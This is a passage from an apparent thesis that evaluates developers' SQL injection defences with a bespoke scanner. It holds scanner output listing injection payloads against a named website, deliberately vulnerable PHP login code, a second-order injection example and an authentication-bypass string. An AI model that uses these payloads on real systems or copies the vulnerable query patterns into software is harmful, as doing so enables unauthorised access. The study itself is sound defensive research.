Vulnerability: Return all records & query truncation using 'OR n=n -- ' 
(plaintext) - E.g. http://www.evanryder.com/approachD.php?id=1 OR 432=432 -- 
&pass=1& 
Done 
Checking for MSSQLServer vulnerabilities: Done 
Checking for MySQL vulnerabilities: \ 
Vulnerability: Return all records & query truncation using '--%20' (numeric 
field - plaintext) - E.g. http://www.evanryder.com/approachD.php?id=1 OR 
432=432 --%20&pass=1& 
| 
Vulnerability: Return all records & query truncation using '#' (numeric field 
- plaintext) - E.g. http://www.evanryder.com/approachD.php?id=1 OR 432=432 
%23&pass=1& 
- 
Vulnerability: Return all records & query truncation using '/*' (numeric 
field - plaintext) - E.g. http://www.evanryder.com/approachD.php?id=1 OR 
432=432 /*&pass=1& 
| 
Vulnerability: Return all records using alternate OR syntax (2 vertical bars) 
& query truncation using '--%20' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachD.php?id=1%7c%7c1--%20&pass=1& 
/ 
Vulnerability: Return all records & query truncation using alternate OR 
syntax (2 vertical bars) and '#' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachD.php?id=1%7c%7c1%23&pass=1& 
- 
Vulnerability: Return all records & query truncation using alternate OR 
syntax and '/*' (numeric field - plaintext) - E.g. 
http://www.evanryder.com/approachD.php?id=1%7c%7c1/*&pass=1& 
Done 
Checking for Oracle vulnerabilities: Done 
Info: 8 possible vulnerabilities found. 
Info: All done - Tue Jul 27 16:19:44 IST 2010. 
List all Vulnerabilities? [y/n]: n - No 
All vulnerabilities are listed in the log file: 
./logs/evanryder.com_approachD.php.log 
[root@www2 sqlscan]# 
Figure 5.14 – Testing approach D using the ‘id’ query-string field 
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Off-the-shelf Scanner Test Results. 
‘SQL Inject Me’ reported no vulnerabilities in any of the input fields in the system 
emulating approach D.  This is because all DBMS-generated error output was suppressed, 
leaving nothing in the Web server's response to indicate susceptibility to SQL injection.  
SQLscan was able to overcome this problem by looking for the user-defined success indicator, 
supplied via the ‘-s’ switch, which indicated that the attempted injection had been successful. 
 
White-box testing and analysis. 
The reason for this unexpected vulnerability is clear upon close examination of the source 
code, listed in figure 5.12, above.  Even though the 'id' field is passed through the vendor-
specific escaping mechanism, SQL injection attacks are still possible because the mechanism 
assumes that all returned values will be wrapped in quotes, and therefore only escapes those 
characters which could close the string prematurely, causing user-supplied content to be 
executed as part of the SQL statement.  Because of this assumption and a contrary assumption on 
the developer's part, resulting in no single quotes being used to surround this numeric field value 
in the inline SQL statement, this interviewee's approach was vulnerable to SQL injection even 
though an established best practice had been followed.   
 
Approach E. 
Emulation. 
This approach combines PHP's Magic Quotes feature with a blacklist, which is used to 
remove unwanted strings from the user input prior to its inclusion into an inline SQL statement.  
The blacklist is obviously intended to remove key components of any injected SQL statements to 
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render them unusable, removing the 'SELECT', 'DROP', 'DELETE, and 'UNION' keywords 
along with the semi-colon and hyphen characters.  The PHP code used to emulate this approach 
is shown in figure 5.15, below: 
<? 
function authenticateuser() { 
  if (empty($_request['id'])) { 
    $sql = "SELECT uid, pwd FROM users WHERE uid='"  
           . sqlsafe($_request['user']) 
           . "' AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  } else { 
    $sql = "SELECT uid, pwd FROM users WHERE id='"  
         . substr($_request['id'], 0, 10)  
         . "' AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  } 
  $query = sqlquery($sql, false, false, true); //No database errors displayed 
  if (mysql_num_rows($query) > 0) { 
    echo "You are logged in."; 
  } else { 
    echo "Login failed.<br/><br/><a href=\"javascript:history.back(1);\">Try 
                                         again</a>"; 
  } 
  return; 
} 
 
function sqlsafe($sql) { 
  $search = preg_replace("'[ ;\-]'", "", strtolower($sql)); 
  $search = preg_replace("'(union|delete|drop|select)'", "", $search); 
  return($search); 
} 
?> 
Figure 5.15 – PHP implementation of approach E 
 
Bespoke Scanner Test Results. 
SQLscan discovered no vulnerabilities in the system emulating this approach. 
 
Off-the-shelf Scanner Test Results. 
‘SQL Inject Me’ also reported that the system emulating this approach was not 
vulnerable to SQL injection. 
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White-box testing and analysis. 
This interesting approach attempts to stop immediate (first-order) and also second-order 
SQL injection attacks, “in which malicious code is injected into web-based application and not 
immediately executed, but instead is stored by the application ... and then later retrieved, 
rendered and executed by the victim” (Ollman, 2004, p.1).  While Magic Quotes prevents 
inserted SQL statements from being executed immediately, it does not prevent them from being 
stored in the database, where they may be referenced by other applications which build complex 
SQL statements using the results from previous queries.   
One such example is a common method of changing user passwords.  This task is 
commonly split into two steps.  First, the application selects all records, matching the username 
and old password, placing them into username and password variables.  Next, the password field 
is updated to the new password value wherever its corresponding username field matches the 
username variable's value.  This process is illustrated using PHP code in figure 5.16, below.   
$query = mysql_query(“SELECT uname, pwd FROM pwds WHERE uname = ‘”  
 . $_POST[‘user’] . “’ AND pwd = ‘” . $_POST[‘pass’] . “’”); 
if (mysql_num_rows($query) > 0) { 
 $rs = mysql_fetch_assoc($query);  // get 1st result in result set 
$username = $rs[‘uname’]; 
      mysql_query(“UPDATE pwds SET pwd = ‘” . $newpwd . “’ WHERE uname = ‘”  
           . $username . “’”); 
} 
Figure 5.16 – Common two-step method of changing a user’s password 
 
As explained by Anley (2002, p.19), such an approach is susceptible to the following 
second order SQL injection attack, assuming adequate escaping of dangerous characters is in 
place to prevent immediate SQL Injection at any point:  Were a malicious user to create the 
username "admin'-- " and then use the application to change that username's password to 
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'mypwd', the SQL created by the code in figure 5.15 would change the administrator’s password 
instead by executing the following command:   
UPDATE pwds SET pwd = 'mypwd' WHERE uname = 'admin'-- 
This approach attempts to mitigate the threat of second-order SQL injection attacks by 
removing SQL keywords and some common special characters, however its effect is diluted due 
to some glaring omissions, such as ‘INSERT’, ‘UPDATE’, along with other absent keywords 
and special characters.  Second-order SQL injection attacks are much more difficult to invoke 
successfully than first-order attacks, so this aspect of the countermeasure maybe rarely used. 
However, as pointed out previously, PHP's Magic Quotes has now become deprecated.  Should 
an implementation of this approach exist on a system running PHP 5.3.0 or later, this blacklist 
will at least offer some degree of protection against first-order SQL Injection attacks. 
 
Approach F. 
Emulation. 
The creation of a PHP implementation of this approach involves the use of either the PHP 
Data Objects (PDO) or MySQL Improved (MySQLI) PHP extensions to support SQL prepared 
statements, neither of which were available on the system hosting the approach emulations and 
upon which testing was being carried out.  Time and procedural constraints prevented the 
upgrading of the test system in advance of this study’s mandatory completion date and restrictive 
security policies and Web application firewall configuration settings prevented tests from being 
carried out using a remote host server with the required PHP extensions.  As the project's already 
optimistic schedule could not accommodate the additional task of building a localized Linux, 
Apache, MySQL, PHP (LAMP) server, upon which to build and test this approach and the next, 
it was decided to assess the remaining two approaches manually, without the aid of automated 
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scans.  Given the author’s detailed knowledge of both scanners' behavior and that of each 
approach, an accurate prediction could be made concerning the results returned by each 
vulnerability scanner, were they to test each of the following two approaches. 
 
Bespoke Scanner Test Results. 
Because of its suppressed database error messages and the special character escaping, 
inherent in prepared statement calls, it is predicted that SQLscan would detect no vulnerabilities 
in this approach’s implementation. 
 
Off-the-shelf Scanner Test Results. 
It is expected that 'SQL Inject Me' would discover no vulnerabilities in this approach for 
the same reasons as outlined when discussing SQLscan’s test results, above. 
 
White-box testing and analysis. 
This method stands out as the most secure approach, encountered during the study, for a 
number of reasons:  The level of security-consciousness and -education within the organization 
was the highest seen, with developers exhibiting a strong command of the subject.  Manual and 
automated security audits and penetration tests were conducted as part of every project, albeit 
prior to initial launch only, and their optional, additional, security layer provided a mechanism 
for custom validation while ensuring no negative impact on standard countermeasures, intended 
to prohibit malicious activity.  In addition, the chosen method for interacting with the database 
server, prepared statements, offers the strong protection provided by stored procedures, without 
any propensity for insecure coding practices to be inadvertently introduced. 
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Approach G. 
Emulation. 
As with approach F, a PHP implementation of this approach was not possible due to a 
lack of extended server capabilities and time constraints, preventing a workaround to resolve the 
problem.  Again, the behavior of both vulnerability scanners will be predicted from the author's 
expertise in both the approach to be scanned and the systems performing those scans. 
 
Bespoke Scanner Test Results. 
Although unable to circumvent the login form, or to change the intended behavior of the 
query-string-driven information page, SQLscan would identify the underlying database engine, 
indicating that SQL injection may be possible and highlighting an information disclosure flaw.  
However, apart from this, SQL scan would fail to detect any vulnerabilities which would cause 
the system to be compromised. 
 
Off-the-shelf Scanner Test Results. 
‘SQL Inject Me’, like SQLscan, would detect the information disclosure flaw caused by 
un-suppressed Web server- and database-errors but no other problems would be reported. 
 
White-box testing and analysis. 
This approach is only secure because of the effectiveness of prepared statements in 
contracting SQL injection attacks.  Many other elements of the approach are unsafe, reflecting 
the interviewee’s poor focus on security issues:  As stated previously, no attempt was made to 
prevent information disclosure through system error messages.  Sensitive data was not encrypted 
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on the database and extremely weak passwords were commonplace, consisting of single 
dictionary words, often mirroring their corresponding username values.  Ironically, because of 
the interviewee’s preferred choice of Web server environment, Java Server Pages, his neglectful 
approach was more secure than those from the security-conscious developers using approaches D 
and E. 
 
Applying Best Practice and Reevaluating 
Approach A and E. 
Both blacklists encountered were incomplete in terms of what they were attempting to 
achieve.  Approach A filtered out one set of MySQL comment delimiters by removing double 
hyphens, however both other sets of comment delimiters supported by the database engine (‘#’ 
and ‘/* . . . */’) were omitted.  Similarly, Approach E attempted to prevent second-order SQL 
Injection by filtering out SQL keywords but many dangerous keywords were not included in this 
list.  Approach A neglected to quote numeric values, enabling SQL Injection.  Approach E did 
not make this mistake; however it relied on PHP’s deprecated Magic Quotes feature to escape 
dangerous characters.  By combining these two blacklists and correcting the problems outlined 
above, a more complete blacklist solution was created, which was considered by both scanning 
tools to be invulnerable.  This improved blacklist, implemented in PHP, is shown in figure 5.17, 
below. 
  1 <? 
    2 function authenticateuser() { 
    3   if (empty($_request[‘id’])) { 
    4     $sql = “SELECT uid, pwd FROM users WHERE uid=’”  
               . sqlsafe($_request[ 
    5            ‘user’]) . “’ AND pwd=’” . sqlsafe($_request[‘pass’]) . “’”; 
    6   } else { 
    7     $sql = “SELECT uid, pwd FROM users WHERE id=’”  
               . substr($_request[‘id’], 0, 8) . “’ AND pwd=’” 
    8          . sqlsafe($_request[‘pass’]) . “’”; 
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    9   } 
   10   $query = sqlquery($sql, false, false, true); 
   11   if (mysql_num_rows($query) > 0) { 
   12     echo “You are logged in.”; 
   13   } else { 
   14     echo “Login failed.<br/><br/> 
   15       <a href=\”javascript:history.back(1);\”>Try again</a>”; 
   16   } 
   17   return; 
   18 } 
   19  
   20 function sqlsafe($sql) { 
   21   if (is_numeric($sql)) { 
   22     return($sql); 
   23   } 
   24   // First, strip slashes & remove hex-encoded strings 
   25   $search = preg_replace(‘/0x[a-fA-F0-9]*/’, ‘’, stripslashes($sql)); 
   26   // Next, remove all other obfuscation characters: ( | ) / * - # \ 
   27   $search = preg_replace(‘/[\(\|\)\/\*\-#\\\\]/’, ‘’, $search); 
   28   // Next, remove other SQL special chars: [ ; ] % 
   29   $search = preg_replace(‘/[\;\[\]\%]/’, ‘’, $search); 
   30   // Now, remove SQL keywords 
   31   $search = preg_replace(‘/(ADD|ALTER|CALL|CREATE|DESC|DELETE|DROP)/i’,  
                ‘’, $search); 
   32   $search = preg_replace( 
                     ‘/(HAVING|JOIN|LOCK|PURGE|RENAME|REVOKE|SELECT)/i’, 
                     ‘’, $search); 
   33   $search = preg_replace(‘/(SHUTDOWN|UNION|UPDATE|USE|WHERE)/i’, ‘’, 
                  $search); 
   34   // Last, remove spaces 
   35   $search = preg_replace(‘/\\s/’, ‘’, $search); 
   36   return(mysql_real_escape_string($search)); 
   37 } 
Figure 5.17 – More complete blacklist implementation 
 
The order in which blacklist rules are processed is very important, as earlier 
modifications can impact on the effectiveness of later actions.  For example, obfuscating 
characters are removed before keywords in figure 5.17 so that keyword search and replace 
actions will not be thwarted by text such as ‘UN/**/ION SEL/**/ECT’.  The test for numeric 
input is performed at the beginning to avoid unnecessary resource usage and the performance 
penalty, which would be caused by the execution of its following string-input sanitization rules. 
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Approach B. 
Being solely concerned with the prevention of first-order SQL injection attacks, this 
approach attempts to mitigate most of the risk with very little programming effort.  This is 
arguably a perfectly legitimate security strategy in many cases, and is always preferable to no 
attempt to secure code.  Unfortunately, reliance on a deprecated feature is a risk in itself; 
however similar results can be achieved using alternative PHP features, as outlined in figure 
5.18, below: 
     $sql = “SELECT uid, pwd FROM users WHERE id=’” 
          . substr($_request[‘id’], 0, 8) . “’ AND pwd=’” 
          . sqlsafe($_request[‘pass’]) . “’”; 
 
     . 
     . 
     . 
 
     function sqlsafe($sql) { 
       if (is_numeric($sql)) { 
         return($sql); 
       } 
       return(mysql_real_escape_string($search)); // escape bad chars in str 
     } 
Figure 5.18 – Simple alternative to Magic Quotes 
 
Approach C. 
This was an exemplary example of the use of stored procedures as a SQL injection 
countermeasure, requiring no improvements.  Stored procedures offer many other advantages to 
the developer, which, when combined with their inherent security, account for the increasing 
popularity of this approach over the past decade. 
 
Approach D. 
The use of vendor-specific escape mechanisms is a widely recognized best practice in the 
prevention of first-order SQL injection attacks.  However, in this case, a misunderstanding on the 
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part of the developer, concerning the mechanism's behavior, led to the introduction of a security 
vulnerability.  This mistake was easily rectified, and once numeric values were quoted within the 
SQL statement, neither vulnerability scanner could detect any issues in the PHP implementation 
of this approach. 
 
Approach E. 
Because of their similarity, approach E. is discussed in conjunction with approach A, 
above. 
 
Approach F. 
In terms of development projects, this approach was a flawless example of the application 
of security best practice, using prepared statements to access underlying database content.  
However, post-launch procedural norms did not meet the same high standards, in terms of 
security, because of a comparatively weak vulnerability scanning policy. 
 
Approach G. 
Analysis of this approach left the author with the distinct impression that it was 
reasonably secure because of the server-side technology used, rather than because of any effort 
on the programmer’s part.  Very few security precautions were taken, with the application of 
prepared statements being responsible for the bulk of activity to prevent SQL injection.  Had a 
PHP implementation of this approach been possible, the following improvements would be 
made: Application level error handling would have been added, along with the suppression of 
database-generated messages to patch information disclosure vulnerabilities.  The approach was 
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also missing some degree of input validation on textual user input, which could be added to 
improve both security and the end-user experience. 
 
Comparing Approaches 
A significant proportion (43%) of the approaches analysed were immune from SQL 
injection attacks, however, as shown in figure 5.19 all others were already vulnerable or at risk 
of becoming vulnerable in the future. 
 
 
Figure 5.19 – Overall security of examined approaches 
 
Analysis of each of the approaches, outlined above, revealed five core issues, which, 
independently or in varying combinations, were responsible for all discovered vulnerabilities.  
As shown by figure 5.20, below, 28.5% of the approaches examined were rendered insecure 
through a single core issue, whereas 43% were found to have multiple issues contributing to their 
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overall vulnerability to SQL Injection.  These root causes, and the number of times in which they 
were encountered during this study, are listed in figure 5.21 below. 
 
Figure 5.20 – Number of core issues per approach 
 
 
Figure 5.21 – Root causes of SQL Injection vulnerabilities 
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Table 5.1, below, illustrates which core issue affected each of the examined approaches 
and the number of problems found within each.  It is clear from this table that approaches C. and 
F. were completely secure whereas there were security issues with all others. 
 
Root Cause Approach 
A: 
 
 Blacklist 
Approach 
B: 
 
Magic 
Quotes 
Approach 
C: 
 
Stored 
Procedures 
Approach 
D: 
 
Vendor-
Specific 
Escaping 
Approach 
E: 
 
Blacklist 
& Magic 
Quotes 
 
Approach 
F: 
 
Prepared 
Statements 
Approach 
G: 
 
Prepared 
Statements 
Unquoted 
numeric fields 
X   X    
Database Error 
Disclosure 
X      X 
Reliance on 
deprecated 
feature 
 X   X   
Incomplete 
countermeasures 
X    X   
Flawed 
understanding 
of threat / 
countermeasure 
   X    
Table 5.1 – Root causes of SQL Injection vulnerabilities in discovered approaches 
 
Taking the above root causes into account, it is possible to rank each of the emulated 
approaches in order of each implementation's security.  Such a ranking cannot be considered to 
be indicative of the effectiveness of general SQL injection countermeasures, used within the 
approaches, as in many cases, these techniques were not correctly employed, resulting in a lower 
ranking for that particular approach.  Also, any approaches using such techniques correctly but 
employing other insecure practices received a lower ranking as a result: 
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Ranking Approach Justification 
1. F – Prepared Statements Security best practice with additional layer for user-
defined security. 
2. C – Stored Procedures Secure solution with possible introduction of 
vulnerabilities through programmer error. 
3. E – Magic Quotes & Blacklist Secure solution on target environment.  Possible 
future vulnerability through system upgrade or 
relocation to another platform.  The blacklist 
provides a second line of defense in this eventually, 
as well as protecting against second-order injection 
attacks. 
4. B – Magic Quotes Secure on target environment, possible future 
vulnerability through system upgrade or relocation to 
another platform. 
5. G – Prepared Statements Immune to SQL injection but exhibiting security 
flaws, such as verbose error messages and extremely 
weak passwords. 
6. D – Vendor-specific Escaping Strong defense against first-order SQL injection 
attacks, however the injection still possible via 
numeric fields because of developer error. 
7. A – Blacklist Incomplete blacklist, making SQL injection possible. 
Table 5.2 – Approaches to security ranked by effectiveness 
 
Three distinct development platforms are represented by the approaches studied:  
Approaches C. and F. were described by developers of solutions for the Microsoft Internet 
Information Server (IIS) platform; approach A. and G. were used by JSP developers, using 
Apache Tomcat; and approaches B., D., and E. came from PHP developers using Apache Web 
server.  Interestingly, SQL injection-proof solutions were seen from all platforms, with 
approaches B., C., E., F., and G.   The secure solutions from PHP, approaches B. and E., used 
deprecated technologies; however the alternative approach, improperly implemented in approach 
D. but correctly demonstrated in figure 5.12, is a secure solution going forward.   
The majority of the vulnerabilities discovered during this exercise were corrected in less 
than two minutes, with the exception of approaches A. and E., whose inadequate blacklists 
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required replacement with a more complete solution.  The planning, development and testing of 
the replacement blacklist accounted for 30 minutes of development time, illustrating that the cost 
of securing existing code is not prohibitive. 
 
 Evaluating the Effectiveness of the Bespoke Vulnerability Scanner 
Rather than use a single, unproven, vulnerability scanner to assess each of the 
approaches, discovered during the interview process, it was decided to use a similar, off-the-
shelf, product to corroborate the effectiveness of the new software.  SQLscan's narrow-focused 
approach to vulnerability scanning differs from that of most commercial products, making it 
difficult to find an exact match, with which to compare scan results.  The chosen product, 
entitled 'SQL Inject Me', is a Firefox add-on, which scans all forms in open tabs for SQL 
injection vulnerabilities, creating a report in HTML format once the process has completed.  Like 
SQLscan, it is designed to be lightweight tool to detect security flaws in targeted online forms; 
however its approach is to use several tabs to perform its 51 tests using concurrent threads.  This 
differs somewhat from SQLscan’s approach, which queues each attack in order to have as little 
impact on the scanned website as possible.  This impact can be lessened even further by adding a 
delay between attacks.  SQLscan also uses a larger number of tests; with 142 query-string-based, 
and 356 form-based attacks; each with their own defined success indicators for maximum 
efficiency.  In contrast, 'SQL Inject Me' compares each of its 51 test's responses to 860 known 
DBMS error and warning messages, which is misleadingly described as performing 43,860 
checks against the form.  Many other differences exist between the two products, as would be 
expected when comparing an open-source, flexible, Linux command-line tool to a closed source, 
limited-functionality, GUI-based system, but it was not necessary to match these features in 
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order to confirm the efficacy of SQLscan.  The results from each scanner are described for each 
of the assessed approaches, above, proving the effectiveness of SQLscan and also demonstrating 
its value, as it consistently discovered more flaws in vulnerable systems because of its larger test 
set and use of both pre- and user-defined success indicators. 
 
Summary 
“Web applications are becoming more secure because of the growing awareness of 
attacks such as SQL Injection” (Ceruddo, n.d.); however, many applications are still vulnerable 
to attack.  The general consensus, within the Internet development community, seems to be that 
the threat is both understood and under control - a sentiment echoed by all of the developers 
interviewed during the study.  57% of the approaches used by these interviewees were later 
found to be vulnerable in some way.  Each vulnerable approach used techniques which are 
generally considered to be effective against SQL injection, showing that developers are aware of 
the threat.  However, many of the techniques employed in these approaches were ineffective, 
illustrating an incomplete understanding of the threat on the developer’s part.  In the small 
sample of approaches analyzed, the use of blacklists, prepared statements or PHP magic quotes 
were equally common, as were most root causes for vulnerabilities, such as un-escaped numeric 
values, reliance on deprecated features, information disclosure via unsuppressed database error 
messages, and incomplete countermeasures.   
An off-the-shelf SQL injection scanner was used to confirm the effectiveness of the 
bespoke vulnerability scanner, ‘SQLscan’, which was developed to facilitate the rapid, targeted 
testing of applications by developers and was used to assess the security of each approach 
studied.  Although its command-line interface was not as intuitive as that of the off-the-shelf 
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solution, SQLscan outperformed the off-the-shelf solution in terms of features, control, and the 
number of vulnerabilities found. 
The following chapter will discuss the above findings, drawing conclusions and making 
recommendations to improve the overall security of Web applications.  The process by which the 
study was conducted will also be discussed, along with the possible future expansion of this 
study and potential further development of SQLscan. 
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Chapter 6 – Discussion and Conclusions 
 Chapter 5 outlined the unique approaches to Web application security used by those 
interviewees featured in this study, assessed each approach in terms of efficacy in preventing 
SQL injection attacks, and discussed how each flawed approach could be improved.  Also 
discussed were the levels of awareness and understanding of SQL injection, demonstrated by the 
interviewees, along with their attitudes towards the threat and any misconceptions encountered.  
This final chapter draws conclusions from the previous chapter's findings and outlines the 
contributions of this study to the existing body of knowledge on the subject.  An analysis of the 
project is also conducted and possible future research and follow-on development tasks are 
discussed. 
 
Conclusion 
This researcher believes this project contributes to the literature on security and SQL 
injection.  The findings help to explain why SQL injection continues to pose a threat to 
application and system security, despite increased awareness among developers and the common 
inclusion of mitigation techniques during development.  It contributes to the effort to eradicate 
the threat of SQL injection by introducing a new, open-source, dynamic analysis vulnerability 
scanner, which is native to the proportionally under-supplied Linux environment and also by 
providing a check list, for developers and code reviewers, to assist in the detection and 
elimination of its identified root causes of these vulnerabilities. 
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Research. 
 In designing the research, five phases were developed.   A review of existing industry and 
academic literature was conducted, gathering an extensive collection of SQL Injection 
techniques and countermeasures, charting the global understanding and scale of the threat since 
its initial discovery in late 1998, and outlining the varying approaches to counteracting the threat 
with automated tools. 
A robust, configurable, light-weight, easily installed, Linux-based, open-source, brute-force and 
form-manipulation utility for the automated discovery of SQL Injection vulnerabilities in online 
forms and query-string driven Web applications was first created.    Comprehensive attacks; 
designed to test for vulnerabilities without causing harm to the application, its data, or the host 
system; were defined for both query-string- and form-based applications.  These attack 
definitions and their associated success indication strings were then tested and incorporated into 
the vulnerability scanner using an intuitive structure and human-readable syntax, conducive to 
maintainability, scalability, and future extensibility.   
Developers of high-traffic Web sites were interviewed to gauge their levels of awareness 
and attitude towards the threat of SQL Injection and other input validation vulnerabilities.  A 
complete understanding of each developer’s approach to the tasks of creating online login forms 
and query-string-driven information delivery systems; together with the platforms, underlying 
databases, and any APIs or code libraries used; was also gained during the course of each 
interview.  All interviews were anonymous to protect the reputations of the organizations, for 
which these developers work, and the identity of any possibly vulnerable Web sites. 
Where possible, a model of each distinct approach was created in a PHP / MySQL 
environment.  Care was taken to ensure that each model exactly mimicked the behavior of each 
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interviewee’s approach on its target environment.  Because of Web server and procedural 
limitations, it was unfortunately not possible to create models of approaches involving the use of 
prepared statements within the prescribed timeframe for this study. 
Each approach was analyzed to measure its efficacy in counteracting SQL Injection 
attacks.  This involved manual code reviews and white-box testing for all approaches.  The 
majority (71.4%) of approaches, for which models were created in phase 3, also underwent 
automated scanning by the bespoke vulnerability scanner, developed in phase 1.  These 
vulnerability scan results were corroborated by a similar, light-weight, off-the-shelf, scanner.  
Once identified, all vulnerabilities were resolved and the means by which this was achieved was 
documented for each approach.  Five common root-causes of SQL Injection vulnerabilities were 
identified in this phase:  
• Failure to quote numeric values in inline SQL statements. 
• Incomplete countermeasures. 
• Information disclosure via unsuppressed database error messages. 
• Reliance on deprecated security features. 
• Flawed understanding of the threat or countermeasure used. 
 
Findings 
 The findings provided answers to four questions regarding security and SQL injection. 
      
Do developers fully understand the threat of SQL injection? 
The risks of attacking databases via SQL injection was widely recognized but the extent 
of that knowledge varied considerably between developers.  Approximately 29% of those 
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interviewed were well versed in the subject, whereas the same number of interviewees had 
difficulty distinguishing between SQL injection and cross site scripting.  All others had a clear, 
albeit incomplete, understanding of the variety of attacks possible and the severity of the damage 
which could be caused to a vulnerable system. There was a tendency, amongst those interviewed, 
to focus on the ability to change an application's behaviour with SQL injection, with very little 
attention being paid to data-protection and -integrity.  It is worth noting that all those interviewed 
were developers, for whom website content is rarely a concern, but the general disregard for 
content and any sensitive information stored by the system when considering security was 
nonetheless surprising. 
Within the small number of developers, interviewed in this study, the majority displayed 
an insufficient understanding of the threat of SQL Injection, which made it impossible for them 
to tell whether the countermeasures they put in place were entirely effective without the help of 
their party scanning tools. While the number of developers interviewed during the study is too 
small to be considered indicative of the awareness levels of the Web development community in 
general, these findings suggest that the threat may not be as well understood as previously 
presumed within the industry.  Because of this, a larger study, involving significantly more 
developers and focused entirely on this answering this question, may be warranted. 
 
What approaches are taken to counteract SQL Injection? 
This study clearly illustrated many of the contemporary techniques and approaches used 
to counteract SQL injection in Web applications.  Although it cannot be considered to be an 
exhaustive list, it is reasonable to presume that the majority of approaches to this problem, 
worldwide, would fall within the categories encountered during this study:  
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• Bespoke approaches, such as custom blacklists. 
• Generic escaping mechanisms, for example PHP's magic quotes feature. 
• Vendor-specific escaping mechanisms in the form of web server-based API calls, 
such as mysql_real_escape_string(), or database server-based mechanisms, 
including those intrinsic to stored procedures and prepared statements.   
• Hybrid solutions, involving more than one of the above techniques. 
 
How effective are these approaches? 
The analysis phase of the study has shown that, in the context of the approaches 
encountered, all approaches can be completely secure.  However, the efficacy of each approach 
is not always a constant as developer error can often weaken the strength of an otherwise secure 
approach.  Also, some approaches appear to be more prone to developer-induced vulnerability 
than others.  In one respect, prepared statements enjoy an advantage over the other approaches 
encountered because their required syntax makes it difficult to introduce security weaknesses 
without inducing compilation errors.  In contrast, the effectiveness of blacklists in preventing 
SQL Injection is largely dependent on the developer's knowledge of both the threat and any 
syntactical variations supported by the target database engine.  Stored procedures, often 
considered to be immutable countermeasures to SQL Injection, were also seem to be susceptible 
to vulnerabilities, introduced through ignorance or inattention on the programmer's part.  The 
risk of this, however, is small in comparison with the frequency in which developer errors were 
identified within in-line SQL statements. 
Even though blacklists are potentially the weakest approach, in terms of defending 
against first-order SQL injection, they do offer the benefit of protecting against second-order 
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attacks in systems which may not always use SQL Injection countermeasures when building 
dynamic queries from previously inserted database content.  Combinations of black- and white-
lists have been identified by Maor & Shulman (2004), and Imperva (2008) as more effective than 
the signature-based approach, taken by Web application firewalls, to detect SQL Injection.  The 
prevalence of syndicated content and distributed architecture in contemporary online solutions 
can be argued to place additional importance on this technique.  However, the use of validation 
methods, which counteract first-order injection attacks only, during all database access 
operations is often the preferred approach. 
  The study has shown conclusively that all encountered approaches are effective provided they 
are applied completely and correctly.  It is also evident from the work carried out during the 
analysis phase that the simplest and fastest method of confirming the effectiveness of the chosen 
approach is to use a targeted vulnerability scanner, such as SQLscan.  This supports the findings 
of a recent data breach investigation, where it was concluded that “even lightweight web 
application scanning and testing would have found most of the problems that led to major 
breaches in the past year.”  (Baker et. al., 2009). 
 
What common mistakes are being made? 
Analysis of all encountered approaches showed that the most common mistakes made by 
developers were as follows: 
• Failure to encapsulate numeric data in quotes when building queries, facilitating 
the injection of unwanted query modifications. 
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• Failure to suppress database generate warnings and error messages, creating an 
information disclosure vulnerability which could be used by a malicious user to 
enumerate the underlying schema and verify the success of attack attempts. 
• Failure to account for all syntactical variations of the envisaged attack or to 
include complete keyword or special character lists within blacklists. 
All of the above mistakes can be attributed to an incomplete knowledge of the threat, 
combined with an unjustified confidence in the efficacy of the countermeasures being employed.   
Over 70% of those interviewed did not use a vulnerability scanner of any kind to avoid 
the loss of productivity incurred by long scan times or the investigation of false positives, 
reported by such a tool.  These may be symptoms of the use of some genetic security scanners, 
which are designed to crawl entire sites, testing for all types of known security issues; however it 
is possible to use input validation vulnerability scanners to test targeted sections of the system in 
short amounts of time, generating very few false positives.  Most of the vulnerability scans, 
performed by both utilities used during this study, completed in approximately one minute; 
however some SQLscan invocations required approximately 5 minutes because of optional 
delays, placed between each test to lessen the impact on the Web server.  Given the ability to 
quickly scan for security flaws in online applications; the ease with which developers can 
inadvertently introduce difficult-to-detect vulnerabilities into systems; and the likelihood that, at 
some point, third parties will use vulnerability detection tools on the online system with 
malicious intent; there can be no valid reason for ignoring this extremely important security 
measure. 
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 Observations. 
In answering the original research questions, the analysis phase identified a number of 
root causes for SQL injection, which were wholly or partly responsible for the security issues 
exhibited by 71.4% of the encountered approaches.  Although mentioned briefly above, when 
discussing common mistakes, each of these root causes are discussed in more detail, below, 
along with any other observations, arising from the results of the study’s analysis phase. 
 
Incomplete countermeasures. 
Nowhere were incomplete countermeasures more obvious than in both blacklist 
implementations, encountered during the study.  By combining the approaches of both, rectifying  
the omissions of the original authors, and carefully considering the order in which rules were 
applied, a more complete and secure blacklist implementation, listed in figure 5.17, was 
developed.  However, the high-level security impacted on the applicability of the improved 
blacklist. 
Using blacklists involves a trade-off between security and usability which can differ for 
each type of user input handled by the system.  For example, many special characters, which can 
be used for SQL Injection, and are therefore removed by the improved blacklist, could be present 
in a strong password, making logon with such a password impossible.  This incompatibility 
could be easily resolved by allowing special characters to be entered; however this move would 
dilute the effectiveness of the SQL injection countermeasure.  Also, it would be acceptable to 
remove spaces from password input but not in a block of text, intended for publication on a Web 
site.  This is also true for the automatic removal of SQL commands which are also common 
English words, for example ‘select’ and ‘update’.   These examples illustrate that no single, fully 
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secure, blacklist can be directly applied to all database input.  Attempting to apply the best 
protection against SQL Injection attacks, using this approach for each situation, can rapidly lead 
to over-complex security measures which hinder development productivity and increase the risk 
of human error introducing application vulnerabilities. It is for reasons such as these that 
blacklists are generally considered to be less-than-ideal solutions.  However, they can be very 
effective, and are sometimes necessary because of technical limitations or software requirements.   
 
Blacklists are difficult to secure because the developer must explicitly cater for each 
dangerous phrase.  Failure to include even one such phrase in the blacklist can lead to 
vulnerability in the software.  This drawback can often lead to the decision to adopt a white list 
instead, however such an approach also has security issues.  For example, a password field using 
a white list; which allows alphanumeric, punctuation and special characters, but not spaces; 
could be susceptible to SQL injection attacks, such as ‘or/**/1=1--, allowing authentication 
to be bypassed unless additional SQL Injection countermeasures were taken.  One such 
countermeasure, equally useful in both black- and white-list scenarios, described above, is the 
use of a vendor specific escaping mechanism to eliminate the threat of first-order SQL injection, 
as demonstrated in figure 5.17, which uses PHP’s mysql_real_escape_string() function to 
achieve this goal.   
 
Information disclosure via unsuppressed Database error and warning messages. 
By allowing database-generated errors to be visible to the user, valuable information can 
be discovered.  The most obvious disadvantage to this is that the message’s presence confirms to 
